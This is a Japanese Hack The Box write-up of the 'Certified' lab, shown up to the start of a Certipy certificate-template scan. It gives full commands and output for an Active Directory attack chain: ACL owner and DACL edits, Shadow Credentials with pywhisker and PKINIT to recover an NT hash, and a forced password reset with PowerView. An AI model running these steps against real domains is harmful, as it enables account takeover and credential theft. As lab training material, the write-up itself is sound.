【Hack The Box】Certified【WriteUp】

# 初めに
本記事は ___Hack The Box___(以下リンク参照) の「___Certified___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# 初期探索
## ポートスキャン
```bash
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.11.41 --top
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.11.41:53
Open 10.10.11.41:88
Open 10.10.11.41:135
Open 10.10.11.41:139
Open 10.10.11.41:389
Open 10.10.11.41:445
Open 10.10.11.41:464
Open 10.10.11.41:593
Open 10.10.11.41:636
Open 10.10.11.41:3268
Open 10.10.11.41:3269
Open 10.10.11.41:5985
Open 10.10.11.41:9389
Open 10.10.11.41:49666
Open 10.10.11.41:49668
Open 10.10.11.41:49673
Open 10.10.11.41:49674
Open 10.10.11.41:49683
Open 10.10.11.41:49716
Open 10.10.11.41:49740
Open 10.10.11.41:57262
 [~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-01 07:10 EST
Initiating Ping Scan at 07:10
Scanning 10.10.11.41 [4 ports]
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 07:10 (0:00:00 remaining)
Completed Ping Scan at 07:10, 0.27s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 07:10
Scanning certified.htb (10.10.11.41) [21 ports]
Discovered open port 135/tcp on 10.10.11.41
Discovered open port 3269/tcp on 10.10.11.41
Discovered open port 49668/tcp on 10.10.11.41
Discovered open port 593/tcp on 10.10.11.41
Discovered open port 445/tcp on 10.10.11.41
Discovered open port 53/tcp on 10.10.11.41
Discovered open port 5985/tcp on 10.10.11.41
Discovered open port 9389/tcp on 10.10.11.41
Discovered open port 139/tcp on 10.10.11.41
Discovered open port 49666/tcp on 10.10.11.41
Discovered open port 49716/tcp on 10.10.11.41
Discovered open port 88/tcp on 10.10.11.41
Discovered open port 389/tcp on 10.10.11.41
Discovered open port 49673/tcp on 10.10.11.41
Discovered open port 57262/tcp on 10.10.11.41
Discovered open port 49683/tcp on 10.10.11.41
Discovered open port 3268/tcp on 10.10.11.41
Discovered open port 49740/tcp on 10.10.11.41
Discovered open port 464/tcp on 10.10.11.41
Discovered open port 49674/tcp on 10.10.11.41
Discovered open port 636/tcp on 10.10.11.41
Completed SYN Stealth Scan at 07:10, 0.44s elapsed (21 total ports)
Nmap scan report for certified.htb (10.10.11.41)
Host is up, received echo-reply ttl 127 (0.21s latency).
Scanned at 2025-02-01 07:10:56 EST for 0s

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49666/tcp open  unknown          syn-ack ttl 127
49668/tcp open  unknown          syn-ack ttl 127
49673/tcp open  unknown          syn-ack ttl 127
49674/tcp open  unknown          syn-ack ttl 127
49683/tcp open  unknown          syn-ack ttl 127
49716/tcp open  unknown          syn-ack ttl 127
49740/tcp open  unknown          syn-ack ttl 127
57262/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds
           Raw packets sent: 25 (1.076KB) | Rcvd: 22 (952B)
```
WindowsのPortが開いている。HTTP系のブラウザを扱うサービスはなさそう。AD環境ぽい。
## 初期クレデンシャル
最近のADのBOXには最初から侵入できるアカウントが渡されてるのでその情報を利用する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f570f710-5826-3159-b9a7-9d7d63c8d707.png)
## ドメイン情報収集
ldapのスクリプトも回してさっとAD環境の情報を取得する。
```bash
┌──(root㉿kali)-[~/work]
└─# nmap -p 389 -n -Pn --script ldap-rootdse 10.10.11.41
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-01 07:09 EST
Nmap scan report for 10.10.11.41
Host is up (0.20s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=certified,DC=htb
|       ldapServiceName: certified.htb:dc01$@CERTIFIED.HTB
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=certified,DC=htb
|       serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=certified,DC=htb
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=certified,DC=htb
|       namingContexts: DC=certified,DC=htb
|       namingContexts: CN=Configuration,DC=certified,DC=htb
|       namingContexts: CN=Schema,CN=Configuration,DC=certified,DC=htb
|       namingContexts: DC=DomainDnsZones,DC=certified,DC=htb
|       namingContexts: DC=ForestDnsZones,DC=certified,DC=htb
|       isSynchronized: TRUE
|       highestCommittedUSN: 90805
|       dsServiceName: CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=certified,DC=htb
|       dnsHostName: DC01.certified.htb
|       defaultNamingContext: DC=certified,DC=htb
|       currentTime: 20250201191002.0Z
|_      configurationNamingContext: CN=Configuration,DC=certified,DC=htb
Service Info: Host: DC01; OS: Windows

Nmap done: 1 IP address (1 host up) scanned in 1.23 seconds
```
`certified.htb`のドメイン情報を掴むことが出来た。この情報を/etc/hostsに以下のように登録しておく。
```
10.10.11.41    certified.htb
```
`enum4linux`も回しておく
```bash
┌──(root㉿kali)-[~/work]
└─# enum4linux -u judith.mader -p judith09 -U 10.10.11.41
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Feb  1 07:07:04 2025

 =========================================( Target Information )=========================================

Target ........... 10.10.11.41
RID Range ........ 500-550,1000-1050
Username ......... 'judith.mader'
Password ......... 'judith09'
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ============================( Enumerating Workgroup/Domain on 10.10.11.41 )============================


[E] Can't find workgroup/domain



 ====================================( Session Check on 10.10.11.41 )====================================


[+] Server 10.10.11.41 allows sessions using username 'judith.mader', password 'judith09'


 =================================( Getting domain SID for 10.10.11.41 )=================================

Domain Name: CERTIFIED
Domain Sid: S-1-5-21-729746778-2675978091-3820388244

[+] Host is part of a domain (not a workgroup)


 ========================================( Users on 10.10.11.41 )========================================

index: 0xeda RID: 0x1f4 acb: 0x00000210 Account: Administrator	Name: (null)	Desc: Built-in account for administering the computer/domain
index: 0xfec RID: 0x641 acb: 0x00000210 Account: alexander.huges	Name: Alexander Huges	Desc: (null)
index: 0xfb4 RID: 0x452 acb: 0x00000210 Account: ca_operator	Name: Operator CA	Desc: (null)
index: 0xfee RID: 0x643 acb: 0x00000210 Account: gregory.cameron	Name: Gregory Cameron	Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest	Name: (null)	Desc: Built-in account for guest access to the computer/domain
index: 0xfed RID: 0x642 acb: 0x00000210 Account: harry.wilson	Name: Harry Wilson	Desc: (null)
index: 0xfb1 RID: 0x44f acb: 0x00000210 Account: judith.mader	Name: Judith Mader	Desc: (null)
index: 0xf10 RID: 0x1f6 acb: 0x00020011 Account: krbtgt	Name: (null)	Desc: Key Distribution Center Service Account
index: 0xfb3 RID: 0x451 acb: 0x00000210 Account: management_svc	Name: management service	Desc: (null)

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[judith.mader] rid:[0x44f]
user:[management_svc] rid:[0x451]
user:[ca_operator] rid:[0x452]
user:[alexander.huges] rid:[0x641]
user:[harry.wilson] rid:[0x642]
user:[gregory.cameron] rid:[0x643]
enum4linux complete on Sat Feb  1 07:07:27 2025
```
RIDでアカウントが列挙できた。
## SMB enum
SMBを掘り下げておく。
```bash
┌──(root㉿kali)-[~/work]
└─# smbmap -H 10.10.11.41 -d certified.htb -u judith.mader -p judith09 

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<mailto:ShawnDEvans@gmail.com>
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 10.10.11.41:445	Name: certified.htb       	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	SYSVOL                                            	READ ONLY	Logon server share 
[*] Closed 1 connections 
```
特段面白そうなものはなさそう。

## BloodHound
一気に情報を取得しに行きます。
```bash
┌──(root㉿kali)-[~/work]
└─# bloodhound-python -c all -d certified.htb -u judith.mader -p judith09 -ns 10.10.11.41 --zip
INFO: Found AD domain: certified.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.certified.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.certified.htb
INFO: Done in 00M 39S
INFO: Compressing output into 20250201071253_bloodhound.zip
```
BloodHoundの情報から色々探っていきます。

# イニシャルアクセス
## kerberoasting
とりあえずSPNあるユーザ探してみます。
以下のクエリをBloodhoundに叩き込みます。
```sql
MATCH (u:User) WHERE u.hasspn=true RETURN u
```
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2a0992de-103d-b94f-1338-974e636ae044.png)
`management_svc`がいそう。`impacket-GetUserSPNs`を回していきます。
```bash
┌──(root㉿kali)-[~/work]
└─# impacket-GetUserSPNs -dc-ip 10.10.11.41 certified.htb/judith.mader:judith09 -request -save -outputfile tgs.hash
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

ServicePrincipalName               Name            MemberOf                                    PasswordLastSet             LastLogon                   Delegation 
---------------------------------  --------------  ------------------------------------------  --------------------------  --------------------------  ----------
certified.htb/management_svc.DC01  management_svc  CN=Management,CN=Users,DC=certified,DC=htb  2024-05-13 11:30:51.476756  2025-01-31 20:03:16.844779             



[-] CCache file is not found. Skipping...
```
ハッシュをhashcatで解析していきます。
```bash
┌──(root㉿kali)-[~/work]
└─# hashcat -m 13100 -a 0 tgs.hash /usr/share/wordlists/rockyou.txt -r /usr/share/john/rules/best64.rule --force
hashcat (v6.2.6) starting
```
良い情報が出てきませんでした。

## Abuse ACL
`judith.mader`さんでアクセスできるルートをBloodHoundで確認します。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/bce415b5-9f4b-7531-6f5e-272961b0e848.png)
`management_svc`を取れるルートがあり、此奴がCanPSRemoteを持ってるのでwinrmが通りそう。
ACLを悪用する形で進むのが正攻法そう。
### WriteOwner
まず`Management`のOwnerを自分に設定し、Managementグループに自身を含める必用がある。
とりあえずBloodHoundでHelpを確認する。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c97bb068-0d2f-058f-7e4b-87dbf687034c.png)
`net rpc`コマンドで完成しそう。その前にownereditでOwner変更する。以下からスクリプトを持ってくる。

https://github.com/fortra/impacket

回す。
```bash
┌──(root㉿kali)-[~/work]
└─# python3 owneredit.py certified.htb/judith.mader:judith09 -action write -new-owner 'judith.mader' -target 'management'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-1103
[*] - sAMAccountName: judith.mader
[*] - distinguishedName: CN=Judith Mader,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!
```
出来たのでメンバー編集権限を付ける。
```bash
┌──(root㉿kali)-[~/work/impacket/examples]
└─# python3 ../dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09'
Impacket v0.12.0.dev1 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20250201-083306.bak
[*] DACL modified successfully!
```
行けそう。`net rpc`コマンドを実施する。
```bash
┌──(root㉿kali)-[~/work/impacket/examples]
└─# net rpc group addmem "management" "judith.mader" -U "certified.htb/judith.mader%judith09" -I 10.10.11.41
```
これでmanagementメンバーに参加できた。
### GenericWrite
次にGenericWriteを悪用していくのだが、`targetedKerberoast`と`Shadow Credentials`のルートがある。`targetedKerberoast`はこの`management_svc`自体にすでにSPNが存在し、kerberoastingできなかったので`Shadow Credentials`を実施する。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/b7d5b1b8-df04-ff67-a1f2-9caa5c5070fe.png)
`pywhisker`で証明書を取ってそこから認証し、NTLMハッシュを取得していく。
Abuse実施する前にADCSがあるかどうか確認していく。
```bash
┌──(root㉿kali)-[~/work]
└─# nxc ldap 10.10.11.41 -u judith.mader  -p 'judith09' -M adcs
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.41     389    DC01             [+] certified.htb\judith.mader:judith09 
ADCS        10.10.11.41     389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        10.10.11.41     389    DC01             Found PKI Enrollment Server: DC01.certified.htb
ADCS        10.10.11.41     389    DC01             Found CN: certified-DC01-CA
```
ありそうなので通ると思われる。
というわけで実施していく。以下２つのリポジトリをクローンしておく。

https://github.com/ShutdownRepo/pywhisker

https://github.com/dirkjanm/PKINITtools

実施する場合に`PyOenSSL`のバージョンによってエラーが出てくる。
以下で修正しておく。
```bash
┌──(root㉿kali)-[~/work/pywhisker/pywhisker]
└─# pip install impacket PyOpenSSL==24.0.0
```
さて、実施していく。
```bash
┌──(root㉿kali)-[~/work/pywhisker/pywhisker]
└─# python3 pywhisker.py -d "certified.htb" -u "JUDITH.MADER" -p "judith09" --target "MANAGEMENT_SVC" --action "add" --filename management
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: d7c1a6cc-f984-c0df-873b-7bbf324e71bb
[*] Updating the msDS-KeyCredentialLink attribute of MANAGEMENT_SVC
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: management.pfx
[*] Must be used with password: p9YNUX6VMIzbDphQKb7d
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
```
証明書がゲットできた。次にTGTを取得していく。
通らない場合は`ntpdate 10.10.11.41`で時刻を合わせていく。
```bash
┌──(root㉿kali)-[~/work/PKINITtools]
└─# python3 gettgtpkinit.py -cert-pfx management.pfx -pfx-pass p9YNUX6VMIzbDphQKb7d certified.htb/MANAGEMENT_SVC management.ccache
2025-02-01 15:38:33,506 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-02-01 15:38:33,521 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2025-02-01 15:38:38,299 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-02-01 15:38:38,299 minikerberos INFO     85b64e8ae2f640dbf8d1ace5c33b8a7a20944d71d1e56af10d5271dc315d23bd
INFO:minikerberos:85b64e8ae2f640dbf8d1ace5c33b8a7a20944d71d1e56af10d5271dc315d23bd
2025-02-01 15:38:38,302 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file
```
このTGTからハッシュを取得する。
```bash
┌──(root㉿kali)-[~/work/PKINITtools]
└─# export KRB5CCNAME=management.ccache

┌──(root㉿kali)-[~/work/PKINITtools]
└─# python3 getnthash.py -key 85b64e8ae2f640dbf8d1ace5c33b8a7a20944d71d1e56af10d5271dc315d23bd certified.htb/MANAGEMENT_SVC 
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584
```
ハッシュ奪取できたのでこれで侵入していく。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9542f34d-9b3b-0eab-b57c-8bb60fe21974.png)
これでUserフラグゲットです。

# 権限昇格
## 情報収集
### Certify
このBox名からADCS悪用だろうとメタ読みしてとりあえず脆弱な証明書があるか確認していきます。`upload Certify.exe`などのコマンドでアップロードできます。
```powershell
*Evil-WinRM* PS C:\Users\management_svc\Documents> .\Certify.exe find /vulnerable

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |'
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=certified,DC=htb'

[*] Listing info about the Enterprise CA 'certified-DC01-CA'

    Enterprise CA Name            : certified-DC01-CA
    DNS Hostname                  : DC01.certified.htb
    FullName                      : DC01.certified.htb\certified-DC01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=certified-DC01-CA, DC=certified, DC=htb
    Cert Thumbprint               : 6E732CD94E1A4E13F9263FB33DF4D99F7B13B718
    Cert Serial                   : 36472F2C180FBB9B4983AD4D60CD5A9D
    Cert Start Date               : 5/13/2024 8:33:41 AM
    Cert End Date                 : 5/13/2124 8:43:41 AM
    Cert Chain                    : CN=certified-DC01-CA,DC=certified,DC=htb
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               CERTIFIED\Domain Admins       S-1-5-21-729746778-2675978091-3820388244-512
      Allow  ManageCA, ManageCertificates               CERTIFIED\Enterprise Admins   S-1-5-21-729746778-2675978091-3820388244-519
    Enrollment Agent Restrictions : None

[+] No Vulnerable Certificates Templates found!



Certify completed in 00:00:12.2719298
*Evil-WinRM* PS C:\Users\management_svc\Documents> 
```
特段見えない。
### winPeas
`winPEASany.exe`も同様に転送して回してみます。
とりあえず回しとけですね。

https://github.com/peass-ng/PEASS-ng

```powershell
*Evil-WinRM* PS C:\Users\management_svc\Documents> .\winPEASany.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD

               ((((((((((((((((((((((((((((((((
        (((((((((((((((((((((((((((((((((((((((((((
      ((((((((((((((**********/##########(((((((((((((
    ((((((((((((********************/#######(((((((((((
    ((((((((******************/@@@@@/****######((((((((((
    ((((((********************@@@@@@@@@@/***,####((((((((((
    (((((********************/@@@@@%@@@@/********##(((((((((
    (((############*********/%@@@@@@@@@/************((((((((
    ((##################(/******/@@@@@/***************((((((
    ((#########################(/**********************(((((
    ((##############################(/*****************(((((
    ((###################################(/************(((((
    ((#######################################(*********(((((
    ((#######(,.***.,(###################(..***.*******(((((
    ((#######*(#####((##################((######/(*****(((((
    ((###################(/***********(##############()(((((
    (((#####################/*******(################)((((((
    ((((############################################)((((((
    (((((##########################################)(((((((
    ((((((########################################)(((((((
    ((((((((####################################)((((((((
    (((((((((#################################)(((((((((
        ((((((((((##########################)(((((((((
              ((((((((((((((((((((((((((((((((((((((
                 ((((((((((((((((((((((((((((((

ADVISORY: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own devices and/or with the device owner's permission.

  WinPEAS-ng by @hacktricks_live

       /---------------------------------------------------------------------------------\
       |                             Do you like PEASS?                                  |
       |---------------------------------------------------------------------------------|
       |         Follow on Twitter         :     @hacktricks_live                        |
       |         Respect on HTB            :     SirBroccoli                             |
       |---------------------------------------------------------------------------------|
       |                                 Thank you!                                      |
       \---------------------------------------------------------------------------------/
```
特段いい情報はなかった。

### Bloodhound
この'management_svc'の権限でBloodhoundを確認していきます。
`SharpHound.exe`を同様にアップロードして回していきます。
```powershell
*Evil-WinRM* PS C:\Users\management_svc\Documents> .\SharpHound.exe -c All -d certified.htb --domainController 10.10.11.41
2025-02-01T13:04:09.8915851-08:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2025-02-01T13:04:10.0790844-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-02-01T13:04:10.1103310-08:00|INFORMATION|Initializing SharpHound at 1:04 PM on 2/1/2025
2025-02-01T13:04:10.1884504-08:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-02-01T13:04:10.3447054-08:00|INFORMATION|Beginning LDAP search for certified.htb
2025-02-01T13:04:10.3915907-08:00|INFORMATION|Producer has finished, closing LDAP channel
2025-02-01T13:04:10.3915907-08:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-02-01T13:04:40.6884583-08:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 36 MB RAM
2025-02-01T13:04:53.5165802-08:00|INFORMATION|Consumers finished, closing output channel
2025-02-01T13:04:53.5478329-08:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2025-02-01T13:04:53.7353303-08:00|INFORMATION|Status: 96 objects finished (+96 2.232558)/s -- Using 42 MB RAM
2025-02-01T13:04:53.7353303-08:00|INFORMATION|Enumeration finished in 00:00:43.3856815
2025-02-01T13:04:53.8291000-08:00|INFORMATION|Saving cache with stats: 56 ID to type mappings.
 56 name to SID mappings.
 0 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
2025-02-01T13:04:53.8447098-08:00|INFORMATION|SharpHound Enumeration Completed at 1:04 PM on 2/1/2025! Happy Graphing!
```
中身を確認していきます。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/e8a9c387-d465-4d9f-a64c-cda163c76a06.png)
お、いい権限が見えますね。

## Abuse GenericAll
とりあえず`PowerView`を入れてパスワードの強制変更を実施します。
```powershell
*Evil-WinRM* PS C:\Users\management_svc\Documents> . .\PowerView.ps1
*Evil-WinRM* PS C:\Users\management_svc\Documents> $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\management_svc\Documents> Set-DomainUserPassword -Identity ca_operator -AccountPassword $UserPassword
```
これで`ca_operator`のクレデンシャルを使えて色々出来そう。
この権限でADCSを悪用できそうか確認します。
### Certipy-Docker
以下のリポジトリを利用して脆弱なテンプレートがないか確認していきます。

https://github.com/secure-77/Certipy-Docker

まずはBuild。
```bash
┌──(root㉿kali)-[~/work]
└─# git clone https://github.com/secure-77/Certipy-Docker

┌──(root㉿kali)-[~/work/Certipy-Docker]
└─# docker build -t certipy:latest .
```
回してみます。
```bash
┌──(root㉿kali)-[~/work/Certipy-Docker]
└─# docker run -it -v $(pwd):/tmp certipy:latest certipy find -dc-ip 10.10.11.41 -u 'ca_operator@certified.htb' -p 'Password123!' -vulnerable -debug -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

